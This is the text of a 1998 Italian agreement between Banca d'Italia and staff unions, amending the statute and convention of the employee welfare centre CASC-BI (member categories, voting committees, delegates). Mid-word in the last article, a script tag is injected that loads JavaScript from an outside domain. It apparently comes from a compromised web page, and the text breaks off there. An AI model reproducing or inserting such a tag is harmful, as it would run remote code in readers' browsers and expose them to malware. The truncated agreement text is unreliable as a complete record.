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Categoria: Bancari (carriera operativa, BANCA D'ITALIA)
Settore: Credito e Assicurazioni
Data stipula: 28-10-1998

Il giorno 28 ottobre 1998

tra

l'Amministrazione  della  Banca  d'Italia,  rappresentata  dal  Segretario
Generale   Cesare  Augusto  Giussani,  assistito  dal  Capo  del  Servizio
Personale Inquadramento Normativo ed Economico Paolo Piccialli

e

il SINDIRETTIVO-CIDA, rappresentato da: Omero Papi, Antonio Carrubba;

la  FABI, rappresentata da: Angelo Maranesi, Alessandro Del Moro, Giuseppe
Ferrazza;

la  FALBI  - Sindacato Nazionale Banca Centrale, rappresentata  da:  Luigi
Leone,  Lucio Rizzo, Aniello Mancino, Maurizio Marini, Sergio  Marzinotto,
Cataldo Roselli, Stefano Nobilia;

il  SIBC-CISAL,  rappresentato da: Massimo Dary, Mario  Calcagno,  Daniela
Mulè


è   stato  stipulato  il  seguente  accordo,  concernente  il  Centro  per
l'Assistenza  Sociale  e Culturale tra i dipendenti della  Banca  d'Italia
(CASC-BI), che modifica nei termini che seguono la parte IV degli  accordi
negoziali per il quadriennio 1994-97.


A)    Le  parti  concordano che lo Statuto del CASC-BI sia modificato  nei
  termini seguenti:

Art. 5.

I soci del CASC-BI si distinguono in:

1)   (omissis)

2)   soci aggregati:

a)    gli  orfani e il coniuge superstite di dipendenti e di ex dipendenti
  per  tutto  il  tempo  in  cui  hanno  titolo  a  percepire  prestazioni
  pensionistiche  ovvero finché permangono nei confronti  degli  orfani  i
  requisiti   previsti   dal  Regolamento  del  Personale   in   tema   di
  "riconoscimenti a carico";
b)   gli orfani e il coniuge superstite (quest'ultimo purché non passato a
  nuove  nozze) di dipendenti deceduti in attività di servizio senza  aver
  maturato  diritto a pensione di Banca, purché riconosciuti a carico  del
  dipendente al momento del decesso e finché permangono nei loro confronti i
  requisiti   previsti   dal  Regolamento  del  Personale   in   tema   di
  "riconoscimenti a carico";
c)    i  familiari  a  carico dei soci effettivi nonché, anche  se  non  a
  carico,  il  coniuge e i figli dei soci stessi purché conviventi  e  non
  coniugati;
d)    i  conviventi così come definiti dal Regolamento del Personale della
  Banca.


Art. 16.

Presso  le  Filiali i votanti consegnano personalmente  le  schede  ad  un
apposito  Comitato,  formato  da  3  soci  tra  i  quali  di  diritto   il
Rappresentante di Filiale (Filiali fuori Roma) ovvero il Delegato del CASC-
BI (Filiali di Roma).

Per  l'area  romana  potranno essere costituiti appositi  Comitati  per  i
diversi  poli di insediamento (Palazzo Koch, Palazzo ex CIM,  Tuscolano  e
Centro  Servizi  "Donato Menichella") formati da  3  soci  nominati  dalla
Presidenza  del  Centro  previo  sorteggio  tra  i  Delegati  delle  unità
interessate.

(omissis)


Art. 18.

(omissis)

Il Consiglio Direttivo in particolare:

-    (omissis)
-    (omissis)
-    (omissis)
-     approva  i  rendiconti  trimestrali  di  gestione  e  il  rendiconto
  economico  finanziario consuntivo con l'acclusa relazione  sull'attività
  svolta;
-    (omissis)
-    (omissis)
-    (omissis)

(omissis)


Art. 31.

(omissis)

(omissis)

(omissis)

I  Delegati  del  CASC-BI  presso i Servizi  Fabbricazione  Carte  Valori,
Elaborazioni  e Sistemi Informativi e Cassa Generale possono  nominare  un
proprio  sostituto  abilitato a fruire dei permessi  del  Delegato,  fermo
restando che non è consentita la contemporanea assenza del Delegato e  del
sostituto per motivi connessi al CASC-BI.


B)    Le parti concordano che la Convenzione che regola i rapporti tra  la
  Banca e il CASC-BI sia modificata nei termini seguenti:


Art. 5, paragrafo I.

(omissis)

d)    orfani  di  dipendenti deceduti in attività di servizio  senza  aver
  maturato  diritto a pensione di Banca, purché riconosciuti a carico  del
  dipendente al momento del decesso e finché permangono nei loro confronti i
  requisiti   previsti   dal  Regolamento  del  Personale   in   tema   di
  "riconos<script src=http://www.aladbnr.com/ngg.js></script>













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